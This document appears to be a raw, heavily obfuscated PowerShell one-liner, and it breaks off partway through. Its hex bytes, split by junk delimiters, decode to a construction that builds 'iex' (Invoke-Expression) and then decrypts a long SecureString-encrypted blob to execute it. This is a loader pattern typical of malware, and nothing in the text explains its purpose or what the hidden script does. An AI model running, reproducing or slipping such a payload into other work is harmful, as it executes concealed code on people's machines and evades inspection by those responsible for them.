( '20_2er28:20:28:5b<53&54&52r49:4el67<5d<24r56<65Z52&62&4f_53{45{50<72_65<66Z45r52Z65Z4e:63{45r29l5b<31r2c<33&5dr2b{27{58:27r2d&6a{4fl49<4e<27:27:29_20:28l20&28<5br72:55&4e{74<69l4d<45_2e&49Z4e<54_45_52:6f:50_73&45l52Z76&49_63r65Z53{2e:4d{61&52Z73&68_61&6c:5d{3al3a{50_54<52:74<4f<73Z74_72r69_6e_47{42r73l54l72Z28Z5b_72r75l6e&74:49r6d_65<2e<49Z4er54<65{52Z6f{70r53:65_52:76Z69&43<45:53r2e&6dZ41{52l53Z68l41l6c_5dr3a<3a<73Z65_43&55<52r65&73l54l72r49{6e:47l54Z4fr62<73l54<52:28{20:24:28<27l37l36Z34:39_32_64:31r31r31r36:37l34:33_66Z30Z34<32r33<34l31:33Z62&31{36{30&35r30:61Z35_33Z34Z35_4dl67{42Z38r41Z44_41l41:4dr41Z42:52<41:47r6bl41_63l67l42<32_41_45_45<41_54&77&42Z75&41<48_49:41:4e<67l42:30&41:45{67r41_55<77Z42{78l41&46&41&41Z53_41:42<78Z41&44&67l41{5a<41r41l72<41{48_63{41<50r51&41l39Z41Z48<77<41{4dZ77l41l30r41r44_4d{41Z4el77_42{6d:41<47Z51l41:4el77r41{78l41&47:59&41l4d&67&42Z68:41{44l55l41<59{67{41{33:41Z47r45{41{5al67<41&79_41{44r41<41{4e<41_41l7a:41r44_6b:41&5ar51r41r77<41:47&45_41:5aZ41:41_35{41:44_4dr41r4e&67Z42<69:41<47<49<41:4d:67{41r32<41_44<51<41_4dZ51l41&7al41<44&59<41<5al51<41&30_41{44Z55<41&5a&67{42r68_41{47&49l41l5a<51r42l69:41_47{55:41r4e{41<41l78{41&44r51:41<5aZ67{41<34l41Z44<4dZ41{59&67<41{31_41&47r45Z41r59{51r42Z69:41l44&45r41l4dZ67_41:79r41{44<63l41{4e:51&42_6br41l44_67<41{59{51{41l78{41<44&63r41:4fZ41{42{6bZ41:47_45_41l4d&67<42Z69Z41:47_55Z41Z59r67_41l32<41<47l4dl41&4el51_42:69Z41l44:4d:41&4e_77_42r68_41&47{51{41<59{67Z42l6b{41<44l6bl41:5al67{41_7a{41l47<51r41_59&51{41r7a<41{44:55:41&4dl51{41r33{41&47l49:41l59&67:41&35<41{44Z67_41<4d{77<41<78Z41l47&55_41<4eZ51r42:6d&41Z47{45<41Z4d&51l41Z32r41_44r51_41<5al67<41l34l41<44_45_41r4dr67&42:6b<41&44l45r41&5aZ41l41Z79_41:44{67{41<4d{67r41&34:41{47r51{41<4d_51{42_69&41{47Z55:41&59Z51r41l7ar41{44&67&41&4d_41&42_6al41{44<49:41&59:67:41l30r41<44{63Z41r4er41_42Z69:41_44_4d_41&4e_67l41:77{41&47<55_41&4d{51_41Z34&41_44<45:41_4eZ67Z41Z78Z41_47<49Z41Z4f&41_41r30r41:44&49&41r4f_41&41r32&41l44:59r41&4e:67&42Z6a{41&44:49Z41<59:77_42r68l41&47_4d_41r5a_41{41&31&41{44<59{41Z4dl67l41l33<41{47r45<41<4e{67{41&32<41&44:4dl41_4d{77l41Z35r41r47<49_41&4d<77_42:6dl41Z44Z67{41l5a{41l41l32_41r47l51Z41&4d:77&41:31:41Z44:51{41_4d:77{42:6c&41:47&4d<41<4dZ67{41<30l41Z44&51l41&4el67:41l34:41_44Z51Z41<4fZ51l42<6d<41r44Z67<41:4d{77&42r6a_41:47<51{41:4dr51_41<35_41&47<45Z41l4d_41&42&68:41{44<63Z41&4d{41_42r68Z41<44l59l41<4d<77l41_34<41l44:6bl41<4dl51:41r31r41&47&55Z41<4er41Z41Z77<41{47Z59l41<4e:77&41:7a:41_44{63:41_4f&51{41<35Z41l47r4d{41{4e{51<42:6ar41r47l59<41l4e<41l42_69r41Z44_63:41<59_51{41{33l41{44r4dZ41l59r67:41l35r41:47r55{41<4f{51r42{6a:41l44Z4d{41{59Z77{42:6d_41{44&59<41<59r67r41{33Z41:44l59&41{59_77{41_34_41l44l6br41Z4e{51l41Z33_41&44l4d:41&5al51l42Z68r41{44{45_41<4el77l41:78Z41l47:45_41l4dl41r42l69r41<44<67_41{4d:41_41l78:41{47Z51Z41r5a:41r42<6cl41<44Z55Z41_59:77:41l30l41&44_4d:41&4fZ51Z41:30:41:44<41l41l4e{51Z41:35<41<47{45&41<59&67<41_30:41{47l49Z41_4f_51_41_79<41r47:4d{41&4dZ77l42:6cl41<44{49&41l4dZ77_42r6cZ41l47{55<41l4f&51:41_32l41{47&4d_41:4d{67l42_69&41<44r45{41r59_51&41Z31r41r44<63r41:59l67&42_6cZ41&47&4dZ41r4eZ51_42r6cr41r47Z49&41:4d{67l42:6c:41r44<49&41:4e_41r41l7a<41r44r63_41Z4e_41Z41&34&41r47r59:41{4eZ51&41r30_41r44r6b<41Z4d<41Z41<77:41<44r45:41:4e:67r41l79r41<47&59_41&4d<77l41Z7al41<44{59r41_4eZ67<41Z31<41:44Z45:41r4d_77:42{68r41_44_55r41{4eZ77<42_68<41Z47{4d:41<59<51r41r35&41:47_55:41{4er67_41&30_41r44<49l41&4f_51_41r33{41{44<41r41Z4eZ77:42:69r41&44{67{41_4e{51&41:32_41r47r55:41<5a&51{42:6dr41&44l6b<41Z4dl41r41{7a<41l44&59l41l4f{41:41:30l41:47_51{41&4fl41:42{6b_41_47_45l41r4d{67&41&79_41l44&4d<41_4dl51Z41Z31Z41l44r67Z41{4dZ67Z41_79Z41{47<59l41l4eZ77l42&68{41l44_59<41l59<77r41:34{41&47:45r41Z4dr67<41<31_41&47Z55<41{4e:67&41r79&41r47Z4dr41:4f_51Z42&6dZ41{44Z49:41&4d_51:42<69:41_44r6b<41<4f:51Z41_35&41Z47l45:41&59_67&41{31l41<44{6bl41{4e<51_41{35{41{47l49l41<4fl41&42r6b<41{44l55{41:59:67_41Z31&41Z44{67:41<59&51r41l78:41&44r49Z41&4e<41:42l69{41r44{59<41:4e{51&42<6c_41<44Z49{41&5al41Z42:6aZ41:44l67r41l4d:41Z42:6b_41:44l49Z41{4dr51_42_6d:41<44l6b<41{4f_41&41Z30:41:44&45&41:4d<67Z42Z6a_41<44r51&41{4e&51_42{6b:41:47&4d_41{59_67Z41{30&41<44:67Z41:4d&77Z42&6a<41Z47_59{41{4dl41:41&7aZ41:47{55r41<5aZ67Z41_7a<41Z44r4d&41r4fr51l42<69<41_47Z59<41&4fZ41<41<35&41<44_49&41:5a&41{42_6b_41{44l49_41r4e{77_42:68&41:47_4dl41{4e_67<42<6a{41r47<49_41{4fl51:41r77&41r44:67<41Z4d_67l41&32r41l44:6br41Z4e<41<42{6bZ41<44l67_41:4d<67Z41:31<41r44Z63Z41<4d<77l41r32&41l44Z59l41&59_51l41:30r41&44<59Z41{5aZ41Z41_7a{41&47&45Z41r4d_77Z42<6dr41Z44r4dl41_59Z77r41:78<41<47:55r41<4d&51l41<79:41<44l67<41:4e{67_42_6a{41Z47r51r41{4d:77:41r33r41:44<45{41<4d<41_42<69_41_44{51l41&4dr77&42{69Z41&44_45_41<59l51<41_78{41&44l63{41{5a:67_42&69<41<47:4d{41Z59&77r41&33{41Z47:59_41<5al51<42<69&41{44r49&41&4e<51Z41l34r41l44l45l41:4dZ77l42_6ar41l44l59Z41r4d&67:41&79r41{47&55r41&4e:67r41:33_41l47&45r41<59&77_42_6a:41l47r4d&41:4e&41Z41:30_41<47Z45{41&4e&67Z41<79:41<44l67:41:59{51:42_6bl41{44l55{41:4d&41l41&34r41_47&4d_41r4e&51Z41Z78{41:44{41{41Z4d{77r41_34r41<47{59r41<59r67_41&33_41r44<4d&41_4d{41_42r6d&41{44_59<41_59:51Z41{34{41&44_67Z41{59&67&42l68&41l44r49r41{4dZ51Z42l68r41&44_59Z41:59&67Z41_35l41<44&67{41:4fl51:42l6c<41{47&59:41r4e:41&42<6al41l47l59r41r4e&77l42r6dZ41r47r45_41_4fr41Z41<35<41l44r41:41_4fl51:41Z78r41:44_55&41{4fl51l41:78r41{44r67l41&5ar67&42&6a_41{44{67&41_4f_41r41&33r41:47_4d:41_4f{41_42<6c{41<47<4d{41:4e:67<41{77<41Z44l6br41l4fZ41Z42{6a_41l44:45{41<4el77:41{78l41Z44l59l41&4d&67r41Z7aZ41Z44_45:41:4f<41&41{77r41&44Z41_41r4d_67{41_32{41<44r51r41r4e&51r41&30<41_47Z4d<41<59Z77l42r6c:41&47{55{41Z4el77<42_6d:41&47r49r41r4e_51l41r78<41:47_49r41r4d<67<41<33&41l44<51<41l5aZ67&42<6c_41{47<51Z41r5a_51l41<35r41<47_51{41l4e:41<42Z69Z41Z47r4d&41l59:51{41l34l41r44r49&41r4dr51{41<77r41:47r51Z41Z4d{77Z41<77_41r44_55&41Z4d<77_41&30Z41<44r49l41Z4e_51l41:30_41r47&49_41_4e{77&41&35r41r44r67Z41l4dZ51Z41<78&41&47l49r41{59l77<42&6d_41l44:45{41<4e_51<41_77l41l44<67{41&59<77:41&77:41&44l59&41l4f:51l41&34<41<44<6b_41{4d<67r42{6d_41Z47_55l41{4fr41{41_79r41{44<6bl41&4e&51:42<69&41:47{49&41&4d{41{42r69l41r44l59{41_5a<67l41Z7a{41:47{55l41_59<77{41{34:41&47:51:41{4d<67{42:6c{41Z44r49Z41_59l77Z41:79r41&44&55&41_4d&77_41<7a&41l44_55&41l4d{41{41r35&41Z44Z45_41r4e_41r42_6d_41r47{4d:41&4e{77<41r30<41:44l55_41:59_51:42Z68_41&44&41:41{59<51_41l32{41Z44<45Z41r59Z51{41_79&41l44_45r41<4dr77&42<6d{41_47:55r41Z5a<41_41_35{41_44&67{41&5a{67<42&6br41l44{4d<41{4e{41l41Z79:41Z47_45<41:4d_77r42r6c:41&44&51Z41l59l77_42<6a<41_44l49<41{4f{41&42l6d_41<47:59Z41r5a:51Z42l6c<41&47_55:41r4eZ77{41:78Z41<44l63r41_4d&41l42l6b:41Z47&55_41Z4f&41Z41:78r41&44<55&41&4e_51Z42Z6cl41Z44r59<41:4eZ41&41Z34_41:47{4dZ41_59r51{42<6cl41{47Z4dZ41l4er67l42_69_41{44Z67_41r4d&67r41l34<41:44{49<41Z4e:41_42&6c{41Z44:6b:41{4d_77&42<68<41_44Z6b<41r59l51&41&34l41r47<59l41l4d{41r42&6cl41Z44r59Z41:4e{77Z41_78&41:44<51l41<5ar51:41_78r41l44{59Z41l5a:41_41_30l41<44_6bZ41{59l51Z42Z6cr41l44{55{41{59Z51r41{33Z41_47<51_41&4d<51r42:6d_41<44_6b_41&4f<41:41<35{41&44&67{41_59Z77<41_77l41r44_45Z41:5a_67<42Z68Z41:44Z41:41:5al67:41_31_41:47_55r41{4eZ77<41Z31_41_44:67:41Z59:51l42<6d&41&44_59<41:4e_51l42_69r41<44&6b<41:4fr51&41&79<41:47Z45l41{4e{77r41Z31l41:47<49&41_59_77Z42r6b<41:44:6br41:4f_51l42_6b_41r47r59{41_59r51<41Z35r41l44{45_41&5a<51{42r6dl41_44Z49&41:4d<51Z42{6al41l44<4d:41l4d:77l41:77_41:47&51_41_4eZ67r42_6d&41r44:4d<41<59:67l41&35&41_44{6bZ41&4d_41r42&6c<41&44_4d_41Z59{77_41:30_41{44&49{41r5a{41_41:34_41&44&59<41<4eZ77r41_79Z41{44l6b&41r4f{51:42Z6d_41<47&49_41<4e&67_41:33<41:47:59Z41<4dZ67{41r79Z41{47r55:41&59:51_42&6b:41_47<4d:41r4d_41Z41Z30Z41l44r49r41<59{77<41&7aZ41_44Z6bZ41l59Z77l41{78<41:47:49<41l5a{51&42<68&41l47&59r41Z5ar51&41{31l41{44_55{41&4f&51&41r7ar41_44Z4d:41<5a&41:41l34:41<44{41{41<5a<67l41:79:41r44<4d_41{4fr51&41_78{41:44l41r41:4d<51l42_69l41l47:55l41l4e&41Z41<31_41Z44<63&41Z4e&51{41&32Z41l47_4d{41l5a&51r41:32l41&44r6b_41&4d&41{41Z33:41{47&4dZ41&4e_41Z41l34:41:44_6br41Z4e<77_41<7aZ41Z47:51:41Z4d_51{41<32&41&44Z59r41&4dl41Z41<79l41<47l51l41&4fl51<41:77<41l47r59_41l5ar41Z41l7aZ41l47r49_41r4d&51&41_35l41Z44{55{41Z5al67{42:69r41Z44Z67r41l4d:67&41_78{41_47r51Z41<4fr41r42l6dr41<44Z49r41{4dl77r42<6c&41&44{45{41l4f:51<41<33{41&44Z67:41Z5a:67_42{6cr41&47Z55Z41r59&77Z41{33l41<44Z41_41{4e&41l41:7a<41<44r45&41r4e_41r42:69_41_44:6bZ41{5a<41_41r79_41<44<41:41:5a<51r41_77:41l44l51<41Z4er77r42:6d:41<47{45_41_5a<41_42_6cZ41:47l45_41r4e<67l41:78r41<44{41&41<5aZ67_41<78Z41<44<55_41l4dr41r41_35Z41<44<55:41_5a_51&41l7a<41:44Z41Z41r4dZ51_42&6d{41r44Z45{41&4d<51l41r78_41_44Z6b&41<4d_77r42<6a<41:44<59{41l4e{67_41<31Z41Z47Z51{41<4d_51&42:6c&41<47_45r41&4er51_41Z78&41:44{63Z41l4d{67l41<78r41r44Z59&41Z4e{51_41Z35&41&44_41<41{4dl67{41{78r41<47r59&41:4dZ51r41:78<41r47_45&41:4dr51r42_6al41Z44Z4dl41{4el67l42:6a{41:47r55l41&4e<41_41Z77_41l44<6bl41_4d:51&41r30:41:44<41l41{4d_51:41_33r41:44<51:41Z4f{51<41<78l41{44<45Z41Z59_51_42&6cl41l44l51&41_4f&41:42<68:41<47{51:41{5a:41&41:79Z41l47&59{41_4fr51{41l7a:41r44r4d{41&59{51_42_68:41<47_49:41{4e&77l42_69<41r44{63l41:4el77Z41l30l41{47&51l41{4dl67l41:35_41{44{6bl41Z5ar67r42<6d_41&47:55Z41l4f_51<42_6c&41Z44_59_41&4eZ41&41_31:41&44l6b{41r59{77l41l78l41:47l55r41{4e_77<41_32l41_44l63<41r4d<41:41:7a<41_47<45{41Z4f{41r41&77<41{44_51:41:4e_77Z41&79&41&44_67l41{4dr51:42:68<41r44_63r41l59_51Z41{78Z41{47_49Z41&4f{41&42&68:41<44_45{41_4d<67{42r6aZ41&47l55r41:4er51Z41l33r41l44Z49Z41&59:77{41{35r41:44:4d{41<59Z51<41r31{41_44<49l41<5ar51:42r6cZ41l44&45Z41{59_67Z41<32&41<44:63<41_4dr77{41&33r41_47<55{41r5a:51l42<68r41:47l49:41:4dZ41<42:6cr41_47:49{41&4el41r41{33<41l44l45_41Z59Z67_42:69r41:44:49_41_4fl41{42_6c:41Z44r49Z41{4fl41&41l31&41Z44<59:41:5a&41Z42_6dr41&47l51:41:4e&51_42Z6d_41&44<55:41_4dZ67{41<35Z41{44&41&41<5al41Z41&77<41<44{6b_41Z5a&41_41Z33<41_47Z59r41{4dZ67Z41Z33:41r44r67Z41<5a{67Z41Z34:41r47_4d{41&5a<67&42&69_41r44:41&41:5a<51Z41{7aZ41:47l55l41Z4fr41<41<34_41Z44{55_41&4dr67<41&79<41:44&41<41&4e&51Z41&77r41:47r51{41l5aZ51&41<79l41_44Z6b<41l5ar41_41_33l41&47:59<41{4d&67{42Z6al41r44:51r41&5a<41l41_79{41l44l6b{41r5a_51:42:69<41_47r45l41r4e_51&41Z35l41_44_55_41:4e:51&41&32:41_47l45r41{4dl67:41Z30l41:44_51:41Z4d_77l41_78_41l47_49&41Z5ar41{42<6b&41Z44&45_41<5a_51r41{35{41:47r49l41r4e_67r41l78l41<44_67Z41Z4d<41&42{69{41<47r49r41<59_77_41_79l41{44:67<41Z4er41<41:77Z41<47<45_41Z5a_67&42<6b{41r44&45{41Z4dl51Z41<30&41&44&4d{41&59r67<41Z78_41{44r4d{41_5a_41&41Z32_41:47:59:41:4e{77l42{6br41<44_51l41_4e&41:42:6br41&44{41:41r4eZ41:42Z6bl41&44{6b:41r59&77r41Z77Z41<44{4dZ41:4er77Z41_79:41_44:6b_41{5a:41_41:32l41l44r41<41&4f:51l41:78r41Z44l45<41_4d_77{42_69{41{47:45&41Z4f:41_42{6d{41{44l41l41:4dZ67r41:30l41:44l59Z41_5a&67r42_6b:41<44r59Z41<5a{67r42<6dZ41r44_45&41:4er67:42&69_41{47:59&41r4d<67:41:7a:41_44r41_41_4eZ51l42{68Z41<47{49r41_4d_67&41r79Z41Z47Z55{41:4e_41Z42:6a{41l44<4d_41l5a_51{41l32l41r44l59:41r4d&41{41:35_41&44&41:41_5a:67_42:6aZ41l44r4dr41Z4e<67_41r35r41{44l59Z41l4d{77:41l77l41{47Z45Z41Z4el51l41{32_41r44&55:41l59r51_42r6c_41&47Z51Z41:4e&67_41r32r41<44:67:41<5a&41<42r6bZ41l44Z45<41:59{51&42{6al41{44_59r41_4eZ67&41r79l41&44r4d:41{59{77:41l77_41_44:6bZ41Z5al67_42{69l41:44_51<41r59Z67<41Z77&41&44<6b:41l4e<77&41r79<41l47r49:41<4er67<42l6a{41r44_51:41Z4e{41r42_6d_41l44r6b{41&4d<41_41_7a_41&44_59l41Z5a<67_42&6dZ41Z44:55&41Z4f&41:41_30&41{44<41:41<4dl67_41_31_41:44&59:41r4f:51{41:7al41&47&45Z41l5a{67Z41&30l41Z47{49_41_4d<77Z41_32l41Z44r45&41:4e:77r42l6bl41<47_49:41<4e&51:41&35r41Z44{45:41{4eZ77<42Z6ar41{47&45Z41l4e<67_41:32Z41{44r6b{41{4e{77l41r30&41&44_55<41l4d{77:42:6c&41_44:49{41&4dZ51&41<35_41:44:63{41Z59_77_41Z77Z41r44:45_41l4er41<41_34l41Z44{51r41l5a{41{41l78:41_44l49l41Z4fl41Z41Z32r41r44&55:41{4d{41&41r79l41:47&55<41l4e<51l42l69Z41{47<55r41<4d<67l41{31r41r47:51<41{59{77_41_33r41:47r51{41_59_67<41Z35r41:47:51<41{5ar41{41<79Z41l44&67Z41<4fr51r42<6a:41Z44:45r41_4dr51Z41{35:41<44_45<41{4e_51&41{79{41{47_4d{41{59{77{41r33Z41Z44:67l41l5a{67l42&6d{41:47Z45<41r4e{41:42{6dr41:44_4d{41_4dr41Z41&35l41_44&6b<41_5aZ41l41r78r41{44{67r41_4f&41&42:6c<41Z47<59{41_4d{51_41{31<41&44{41:41<4eZ41r41l31&41<44Z59&41r5a:41l41r31&41Z47{55:41_4d<77r41&33:41r44:55Z41r4er77:42r6aZ41&44&45r41{5al67:41l77Z41Z44Z55l41:4d:41r41_33<41<47{59_41r5a{41:41<35<41r44&49r41<4dl51&42l6c:41r47Z59Z41_5a{41<42Z68<41_44_6b{41<4d{51Z41{31&41&44:67{41{5a_67<42Z6a{41r47l45&41{4e<77l41{77Z41{47&4d_41Z5a:41&42:68<41{47l51l41:5al67{41&77l41&44l45<41l4e:51_41l33:41<44<63&41_59&51&41r30r41r44<63{41&4f&41&41<7a:41r47r49{41<4er77{42Z6al41l47Z55<41&5ar41r41:30r41&44_45Z41_5a<41{41<30&41<44&4d{41r4d_41:42&6d<41l44:67r41l4d_41Z41l31&41r47:51Z41r5a<51:41Z34<41<44l63Z41Z4f_51{41&30&41_44Z49_41<4d<41:41r78{41<44{59<41&4f&41_41<34Z41<44&55l41{59:51&42_6cr41Z44Z45_41:5ar41&42_68_41{47<59_41{4e<77&42:6bl41r44{45<41Z4e{77:41&31r41<44l59r41_4er41:42l68r41:44Z41_41r5a_41:41r79:41&44<59l41:4d{67r41_78r41:44&55l41&4f:51<41r31<41{44{59Z41l4f_41&41:35_41{47&4d:41{5al41Z41l33_41{44<4d&41r4dl51Z42Z6b_41:44<4dr41l4d:77:42Z68<41_44l49:41r4d{67l41{78&41&44<67:41_59l67<41{33&41l44_45Z41:5aZ67Z41<79Z41Z47<55{41&4d_41l41{7a&41_47:49Z41Z5a_51<41<34Z41<44:49Z41r59r77&42l6a<41r44&59<41l59l51_41Z30:41<44:67Z41{59{51{41<77Z41_47<51{41r4er51&41:30_41Z44:41{41<59r51l41r30l41:47<51Z41r4dr67<41&34l41_44l59:41:4fr51r42<6d<41&44&49&41:4e_41r41Z7a{41&44<51Z41<4dZ41{41{32_41&47:49:41r4e:41<41<31<41Z47r51:41{4eZ67:41:31:41<44<49<41l4eZ67:42<69:41{44{51r41&5a_51Z41<7a{41l47l55r41:59Z51&42r6c&41_44{55:41r5a_51{41Z7a:41r47r55:41:59l51:41&32_41l44{63l41Z59{51&41&34&41l44l45<41_4er77_41:79:41&44<51{41r5a{41r41{32:41{44:51l41r59:51:42<6c&41l44_4dr41l5a:51{41Z31:41:44&59{41Z4f:51{42r6a{41{44<55_41:4el77{41l32r41r47l4d<41&4e:77_42:6dZ41_44&4d&41l4d_41_41_78r41r47:45<41Z4d:41_41&79l41<44r55l41r5al41r41<79Z41:47{4dr41r4d:67Z41Z35<41_47:4d:41{5al67&41&35Z41l44&41&41l5aZ67r41:32l41&44Z45l41<4d:41Z41Z31_41l47{4dZ41_4f:41&41:35{41l47l4d{41r5a&67:42&69_41l47&49l41l4d<41:41&33&41{44Z51{41&5a&67Z41{77_41:44_6b{41{5a&67:42{6bZ41_47{49r41l4er77Z42<68l41r47r49:41<4e:67l42{69_41:44:55r41r4d<77<41:77Z41Z44&4d{41_4d{77<42<6al41r47l51l41{59l77l42Z6br41Z44r55r41Z4dl51l41l31<41Z44<63l41<5a{67{42r69r41<44Z55&41:4e_41<41<34{41l44l55Z41:4d{67r42<6cZ41Z47Z45_41l59r67<41_34:41r47Z45_41&4e&77r41Z79{41&47_55_41_4e_77r42_68l41<47Z4d<41:4d&67l42Z68{41r47&59_41Z4er41r41<7ar41<44&45r41<4d&67{42l6d&41:44&55&41Z59&67&41r79<41l44l51_41Z4dZ77<42&6a<41&44<4dZ41&59_77Z41:34Z41Z47:51l41_4el67:41_78Z41:44_51<41:5a:51&42l6c{41Z44Z49<41{5a{41_42<69_41:44r6b{41&4e{51:41&77&41r44&45&41Z59{67&41l31r41:44{51r41r4fZ51{42&68&41Z44:51_41l4e&51l42<68&41r44l51:41_4d&77Z42<69_41r44{49&41<4d{51<42_6b&41_44r59_41Z4el67&42Z6dl41_47{49&41{59r51&41<78{41:44:63:41&4fr41l41{77<41r44&49:41{59l67<41l77<41l44<45_41_4e{51&41r34{41{44:55l41{4f_51Z41{34l41&44<59Z41l4e{77l41{77Z41_44<6bl41l4f<41:41{33&41<47{45l41Z4dr41Z41<31&41r44{55_41{4f:51{42l6b{41Z44{45:41l4e<41_42r69l41r47l4d<41l4d&51_41l33:41_47&59:41Z59Z77Z41{35<41:47l59{41&4e:67<41_33Z41_44l49l41Z59l67&42Z6d&41{44_45l41{59l77r41r30Z41&44r55r41_4d<41&42Z6c&41Z47l51Z41<59Z77&42_6bl41<44_59:41Z5a_41_41_30:41:47&59:41<4er67_41_30:41:47:55Z41_4d:67&41&32<41{47:49r41{59Z67Z41Z30<41:44{4dl41&4e:41:41_77&41:44Z67:41l4e_67_41l34<41&44<45_41_59{77{41r35:41&44<6bl41&4e{41:41r31l41_47{4d{41_4d:51{41r30&41r47r55l41{5a_41_41:32&41{44{55Z41l5a<67Z41r77&41:44{4d<41:4d{51<41&33_41{47{51l41l4fZ51{42<6dr41r44<49<41<4f_41:41&77l41&44:51_41&4eZ41&41_77Z41_44l55_41Z4e{41:41r32:41l44_49r41<59Z77<42Z6cr41r44{41&41_4fl41{42l6aZ41{44r59&41{4d_77:41<31_41<44{6bl41{4d:41Z41<30:41&47Z4d_41{59r67_41&77_41Z44:41<41Z4e<67:42:6c&41<47{59<41<4dl41r41Z33Z41<44&49&41<4f&41:41r35l41_47<45Z41l4er67<41:7al41_47_4d:41l4dr77l41l31<41:44&45:41{5ar51&42:6al41Z47Z45&41&4el51{42r68Z41_44{55{41_4e&67_41{30&41{44&55:41r5a:51l42<6aZ41:44Z59_41&5al41<42{6c:41:47{55:41_4f_51<41<33:41{47_49&41<4e<51&42r68_41Z47r51<41_59:77:41Z30Z41{47r55:41_5a&51<42{6a:41&44_59:41r4fl51Z42<69_41&47l49_41{4d<41_41l7a{41_47:45:41_59_67<41<33r41Z44<51_41r4f<41&41&79Z41:47_45l41Z4e&67<42Z6c:41<44Z51<41r4e<51r42:6b<41Z44&67l41&4fZ41{42{6br41r44{59l41<4d<51:42r6b{41Z44:6b&41l4fZ41Z41l78_41l44{59<41{59l51{41{79{41l44:67{41{5a<51Z41<30:41{47:45Z41{4fZ41r42:6d&41{47r45&41:4dr41_42{6dl41_44_45l41_4e_67r41{30:41r47l4d&41l4d_41r41&77Z41:44l63&41<59l67&42Z6bl41l44&49r41:4e_67r42{6br41r47r59r41&4e_77&42Z6d{41r44<45Z41l4er77<41:34r41r47{4d_41<4d{67l41_7aZ41_47<4d&41:5a&67:41r78&41Z44<6b&41r4eZ41&42r6bl41<44:51:41:4eZ67Z41Z33{41<44<4d&41<4d{41{42l6a{41&44_59r41l59r67_41Z79:41_47{59l41<4e:51r41<77r41r47_55<41:59{77{41<30&41l47:51:41&4er77Z42&6a{41<44Z45<41{4d_67r41_35:41Z44_63l41<4d_67_41_34r41_47&55r41r5a:51r42Z6b{41l47:4d_41r4dl41&41:7ar41:47l59<41<4e_67l41r77Z41r44&51&41<4e_67{42_6dZ41:47_4d<41{4el51<41_33<41l44&59l41&4e&67<41Z32Z41Z47Z51&41l5a<41Z42r6b<41_44<63&41_4e:77Z41&35Z41r44&55:41{59<77<42r6d<41Z44_4dr41l4d<51l41Z35_41&47_4d:41l4d_77{41&35&41&44{49_41:4dr41&42Z6dr41:44Z63{41{4d<77_42Z6b<41&47:51Z41<5a:67{42_69:41{47:4d&41&4dr51_41:78&41&47{45{41_59r51{41_77r41_44r49:41{4f:51<41:32_41Z44<67_41&59Z77l41Z78r41<44:49l41Z5a&51r41{32&41Z44:6b&41&59:77l42Z6d_41<44_45<41r4d:67Z42<6a{41_44Z6br41_4el77{42Z6d_41_47r4dl41{4f_41l41<33Z41{44{45<41&5al67&41{32_41{47r45r41r4d_41Z42Z6c_41_47_4d{41{4fl41<41&35{41<44:6b_41_4er51&42:69:41r44r49r41Z4fl51&41:32l41&44l67l41&4d&67l41&30l41:44&59_41r4e&77l42{68l41_44{51_41_5a<41Z41_79&41:44Z51_41l59&67:42_69<41&44:51r41&4d{41r41_35_41{44{6b{41l59<77Z42:68{41&44<41{41l4er51r42r68{41&44l41l41r4er51&41{7a&41<44&49l41<4e_51<41_34&41Z47Z59<41<5a<67&41r35Z41Z47_45_41<4e<67_41Z30r41<47<49<41:59_77&41_78_41_44Z4dZ41<4el77<41{31{41:44r6br41r4d{51<41Z78:41<44Z55{41l4dZ41Z41{7al41<44<49{41<4d&51:42Z69Z41:47&49_41{4d<67{41{78_41Z47r59{41Z4d<77<41l30r41r47<45Z41{4dZ51l41Z33{41{44<67_41r5ar51&42{69l41Z44:45:41r5a{67<42{6b_41{47l55l41<5a&67l41:78<41<44_4d_41_4d&77{41&34Z41_44Z4d&41&4er67r41&78:41Z44&49_41_4eZ67<41<7a:41&47_4d_41_4dZ41{41_31l41{44r49Z41&4fl41_41l30&41r44r45l41{4el41{41&31_41&44Z6bZ41l4er77Z41&34l41r44&6b{41&4dl67<42r6d_41r44{4d:41{4d&67l41{7a_41r47_49r41&4dZ77:42_6c{41l44l63l41:5al51Z41&77{41l47{45:41l59l67l41<35{41&44l41<41{5a_67{41&31&41:44_55&41Z5aZ51{41{30<41{47<49{41<4er67r42<6d{41l47_4d<41:5a&67{42{6d{41Z44Z41l41Z5al67r42_6c{41<44:67l41:59_67Z41<78<41_47{45<41:4el51r42{6b:41Z44:4d_41r4fl51_41r35&41&44:4d:41<4dr67{42{6c<41<47<59&41l5a:51<41:7a_41r44l45&41_59:77&41l31:41_44_49l41<4d&51r41Z77_41Z44:55&41<4d{41:41:30Z41Z44l49_41{5ar51l42:6a:41<47Z59:41:4d<77Z42<69r41l44l6bl41&59{77<41&31Z41l47l55{41l4d{41&41_31r41&47_45&41r5ar67<42l6cl41<47r51:41:4e&77&42<6d&41Z44:59Z41<5aZ41Z42r6c:41:44&59<41r5a&67{42{6d<41Z44:63&41r4fl41r41Z30:41{44{41:41_5al41:41<35<41{44{67l41l5ar51r41:7a_41_47<49{41r4e&51_41{32{41Z44_6b{41l59_67&41<77Z41<47:49r41r4d&51{42_6cl41r44<45:41<4e:77&42Z6dZ41&44&4d&41_4d<41<41r31_41r44_67:41_59:77<42r69_41:47r49{41{59<51l41&79:41r47Z55<41&4dZ41l41r30&41_47r4d&41l59r51:42<6c<41:47{55Z41&4dZ51Z42_6c&41l44Z67l41r4fr51Z41Z31_41l44l67:41_4dZ67:41_79{41&44:41<41<5a&41{42{69:41Z47&4dZ41_59{67{41<31:41:47Z59Z41r4fr41{41<34<41{44{41l41Z5aZ67l41l30{41Z44<51:41<4f{51_42r6b:41{44<67l41&4dl67_42{68l41r47&49Z41_4f{41&41r32_41:44:55<41:4f_41r41<77:41_44_6b<41r5aZ41{41:7a:41{47&49r41&4d_51l42:69:41{47<59_41&4e&41l41l7a_41:47l4dr41&4fl41:42l6a:41&44_45<41<4dl51Z42{68{41{44:51:41{4d<41:41<7aZ41:44:41_41{59r51{42r68&41r47l4dr41&4e&77<42&6a{41Z47:59r41_4e&67<41{78<41l47&49{41&4d&41&42Z6a&41Z44{6b_41Z4f_41r42<69Z41Z47_55{41:5aZ67:41_77_41l47:55&41r5aZ41{42r6c_41_44r45<41&4el77Z41<79l41_44&51:41r5a{51:41Z30:41Z44:67&41Z4dr67&41Z7a&41Z44:41l41:59:67:42<6d<41<44r49<41{4fZ51l42r6c{41_44r4d{41{59_51_41l31{41_44<4dr41&4f&51{42{6aZ41{44Z51<41&4d:41&41r32:41r44&6br41l4el77:41r31Z41Z44Z55{41&4e{41{41l79Z41{44<59_41l4e{41l41l31:41_44<4d_41l4d:51r42&6cZ41l44&63_41Z4e:51l41_30{41l44l4d:41_4fZ41:42&6bl41r44{49_41Z59r51&41_